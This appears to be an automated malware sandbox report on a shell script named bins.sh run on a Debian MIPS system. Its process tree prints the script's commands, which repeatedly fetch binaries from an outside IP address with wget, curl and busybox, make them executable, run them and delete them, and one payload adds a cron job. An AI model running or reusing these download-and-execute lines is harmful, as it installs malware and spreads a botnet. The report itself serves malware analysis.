Analysis

  • max time kernel
    149s
  • max time network
    178s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    18/11/2024, 19:40

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241118-ydmlsaymdq
  • SHA256 f827420f4f24bd829edadf9030eb0c891c1a17487dccaaecd0bfa662d88c73b0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1483) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:694
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:697
        • /usr/bin/wget
          wget http://216.126.231.240/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • Writes file to tmp directory
          PID:702
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/chmod
          chmod 777 dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • File and Directory Permissions Modification
          PID:727
        • /tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          ./dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • Executes dropped EXE
          PID:728
        • /bin/rm
          rm dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
            PID:730
          • /usr/bin/wget
            wget http://216.126.231.240/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            2⤵
            • Writes file to tmp directory
            PID:731
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            2⤵
            • Writes file to tmp directory
            PID:732
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            2⤵
            • Writes file to tmp directory
            PID:733
          • /bin/chmod
            chmod 777 rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            2⤵
            • File and Directory Permissions Modification
            PID:734
          • /tmp/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            ./rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            2⤵
            • Executes dropped EXE
            PID:735
          • /bin/rm
            rm rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            2⤵
              PID:737
            • /usr/bin/wget
              wget http://216.126.231.240/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              2⤵
              • Writes file to tmp directory
              PID:738
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              2⤵
              • Writes file to tmp directory
              PID:739
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              2⤵
              • Writes file to tmp directory
              PID:751
            • /bin/chmod
              chmod 777 cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              2⤵
              • File and Directory Permissions Modification
              PID:756
            • /tmp/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              ./cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              2⤵
              • Executes dropped EXE
              PID:758
            • /bin/rm
              rm cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              2⤵
                PID:761
              • /usr/bin/wget
                wget http://216.126.231.240/bins/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                2⤵
                • Writes file to tmp directory
                PID:762
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                2⤵
                • Writes file to tmp directory
                PID:773
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                2⤵
                • Writes file to tmp directory
                PID:790
              • /bin/chmod
                chmod 777 OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                2⤵
                • File and Directory Permissions Modification
                PID:793
              • /tmp/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                ./OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                2⤵
                • Executes dropped EXE
                PID:794
              • /bin/rm
                rm OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                2⤵
                  PID:796
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  2⤵
                  • Writes file to tmp directory
                  PID:797
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  2⤵
                  • Writes file to tmp directory
                  PID:798
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  2⤵
                  • Writes file to tmp directory
                  PID:802
                • /bin/chmod
                  chmod 777 DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  2⤵
                  • File and Directory Permissions Modification
                  PID:803
                • /tmp/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  ./DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  2⤵
                  • Executes dropped EXE
                  PID:804
                • /bin/rm
                  rm DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  2⤵
                    PID:806
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                    2⤵
                    • Writes file to tmp directory
                    PID:807
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                    2⤵
                    • Writes file to tmp directory
                    PID:808
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                    2⤵
                    • Writes file to tmp directory
                    PID:815
                  • /bin/chmod
                    chmod 777 lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                    2⤵
                    • File and Directory Permissions Modification
                    PID:821
                  • /tmp/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                    ./lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                    2⤵
                    • Executes dropped EXE
                    PID:823
                  • /bin/rm
                    rm lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                    2⤵
                      PID:826
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                      2⤵
                      • Writes file to tmp directory
                      PID:827
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                      2⤵
                      • Writes file to tmp directory
                      PID:839
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                      2⤵
                      • Writes file to tmp directory
                      PID:846
                    • /bin/chmod
                      chmod 777 YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:847
                    • /tmp/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                      ./YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                      2⤵
                      • Executes dropped EXE
                      PID:848
                    • /bin/rm
                      rm YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                      2⤵
                        PID:850
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                        2⤵
                        • Writes file to tmp directory
                        PID:851
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                        2⤵
                        • Writes file to tmp directory
                        PID:852
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                        2⤵
                        • Writes file to tmp directory
                        PID:853
                      • /bin/chmod
                        chmod 777 qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                        2⤵
                        • File and Directory Permissions Modification
                        PID:854
                      • /tmp/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                        ./qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                        2⤵
                        • Executes dropped EXE
                        PID:855
                      • /bin/rm
                        rm qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                        2⤵
                          PID:857
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
                          2⤵
                          • Writes file to tmp directory
                          PID:858
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:859
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
                          2⤵
                          • Writes file to tmp directory
                          PID:860
                        • /bin/chmod
                          chmod 777 4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
                          2⤵
                          • File and Directory Permissions Modification
                          PID:861
                        • /tmp/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
                          ./4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:862
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:864
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:865
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:866
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    PID:867
                              • /bin/rm
                                rm 4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
                                2⤵
                                  PID:869
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
                                  2⤵
                                    PID:872
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
                                    2⤵
                                      PID:873
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:954
                                    • /bin/chmod
                                      chmod 777 QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:960
                                    • /tmp/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
                                      ./QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
                                      2⤵
                                      • Executes dropped EXE
                                      PID:961
                                    • /bin/rm
                                      rm QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
                                      2⤵
                                        PID:963
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
                                        2⤵
                                          PID:964

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

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                                            Downloads

                                            4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl

                                            • Path /tmp/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
                                            • Size 151KB
                                            • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                            • MD5 SHA1 SHA512 SSDEEP

                                            DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE

                                            • Path /tmp/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                                            • Size 151KB
                                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                            • MD5 SHA1 SHA512 SSDEEP

                                            OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh

                                            • Path /tmp/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                                            • Size 99KB
                                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                            • MD5 SHA1 SHA512 SSDEEP

                                            QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r

                                            • Path /tmp/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
                                            • Size 107KB
                                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                            • MD5 SHA1 SHA512 SSDEEP

                                            YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF

                                            • Path /tmp/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                                            • Size 111KB
                                            • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                            • MD5 SHA1 SHA512 SSDEEP

                                            cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno

                                            • Path /tmp/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
                                            • Size 177KB
                                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                            • MD5 SHA1 SHA512 SSDEEP

                                            dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS

                                            • Path /tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
                                            • Size 119KB
                                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                            • MD5 SHA1 SHA512 SSDEEP

                                            lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT

                                            • Path /tmp/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                                            • Size 111KB
                                            • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                            • MD5 SHA1 SHA512 SSDEEP

                                            qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY

                                            • Path /tmp/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                                            • Size 112KB
                                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                            • MD5 SHA1 SHA512 SSDEEP

                                            rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv

                                            • Path /tmp/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
                                            • Size 117KB
                                            • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                            • MD5 SHA1 SHA512 SSDEEP

                                            tmp.OYGcXh

                                            • Path /var/spool/cron/crontabs/tmp.OYGcXh
                                            • Size 210B
                                            • SHA256 3183e1daf245f265f4a77fa34484d80bac967b6fdc61b74d1f60cd8faecc481a
                                            • MD5 SHA1 SHA512